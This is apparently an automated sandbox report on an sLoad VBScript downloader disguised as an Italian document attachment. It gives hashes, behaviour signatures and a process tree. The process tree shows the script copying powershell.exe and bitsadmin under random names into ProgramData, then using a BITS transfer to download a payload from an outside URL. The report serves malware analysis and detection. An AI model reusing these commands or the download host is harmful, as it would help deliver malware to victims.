Analysis

  • max time kernel
    135s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    21-02-2022 10:17

General

  • Target

    Allegato_doc_02613440060.vbs

  • Size

    8KB

  • MD5

    6266da42dda2a91e97c63181b85b26d4

  • SHA1

    2a0673cc7ea00b5187dac046b906aa1018317236

  • SHA256

    12bad94c43427bae4e3855ebdd60d32d7a6305f108a811ead926950450ec503b

  • SHA512

    fed5ca3e0b5f2214d12c6e8e6d86b6f96589e4629a588bb91cb3df90e3f20c17bb0413f9cbc1683a64642a5b2aa1ddc3ce2a59bb674febe28676c5a5157913c6

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_doc_02613440060.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2232
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fatSkEH.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\NXBtfaY*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2712
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fatSkEH.exe
        3⤵
          PID:4460
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\NXBtfaY*.exe
          3⤵
            PID:4780
        • C:\ProgramData\NXBtfaYin.exe
          "C:\ProgramData\NXBtfaYin.exe" /transfer vQtoGc /download https://ladiesincode.com/ladi/02613440060/maps.png C:\Users\Admin\AppData\Roaming\maps.png
          2⤵
          • Executes dropped EXE
          PID:1384
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
        1⤵
        • Drops file in Windows directory
        • Suspicious use of AdjustPrivilegeToken
        PID:4300

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\ProgramData\NXBtfaYin.exe

        MD5

        f57a03fa0e654b393bb078d1c60695f3

        SHA1

        1ced6636bd2462c0f1b64775e1981d22ae57af0b

        SHA256

        c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c

        SHA512

        7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a

      • C:\ProgramData\NXBtfaYin.exe

        MD5

        f57a03fa0e654b393bb078d1c60695f3

        SHA1

        1ced6636bd2462c0f1b64775e1981d22ae57af0b

        SHA256

        c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c

        SHA512

        7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a

      • memory/4300-132-0x000002EA2C220000-0x000002EA2C230000-memory.dmp

        Filesize

        64KB

      • memory/4300-133-0x000002EA2C280000-0x000002EA2C290000-memory.dmp

        Filesize

        64KB

      • memory/4300-134-0x000002EA2E950000-0x000002EA2E954000-memory.dmp

        Filesize

        16KB